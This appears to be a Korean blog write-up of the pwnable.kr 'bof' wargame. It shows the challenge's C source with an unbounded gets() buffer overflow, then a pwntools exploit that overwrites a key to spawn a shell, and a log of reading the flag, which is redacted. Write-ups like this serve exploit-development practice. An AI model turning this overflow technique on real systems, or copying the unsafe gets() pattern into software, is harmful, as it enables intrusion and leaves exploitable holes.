wyv3rn 2022. 12. 27. 20:55
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

2.2. 분석

main 함수에서 0xdeadbeef 의 값과 함께 func 함수를 실행한다.

func 변수에서는 32 bytes의 overflowme 변수를 선언하고 여기에 값을 입력 받는데,

ket 변수가 cafebabe이면 셀을 실행시켜준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

gets 함수로 값을 입력 받을때 그 크기를 지정하지 않아 overflow가 발생한다.

3.2. 공격 준비

파일도 제공되기 때문에 key 변수의 위치를 확인해서 덮어주면 되겠지만,

4 bytes씩 늘리다보면 어차피 만나게 될 것이니 대충 때려보자 ㅋㅋㅋ

 

4. exploit

from pwn import *

p = remote('pwnable.kr',9000)       

pay = p32(0xcafebabe)*20

p.sendline(pay)
                                     
p.interactive()

 

┌[WyV3rN]-(d/hack)-
└> python3 a.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
----------#플래그는 삭제
728x90
반응형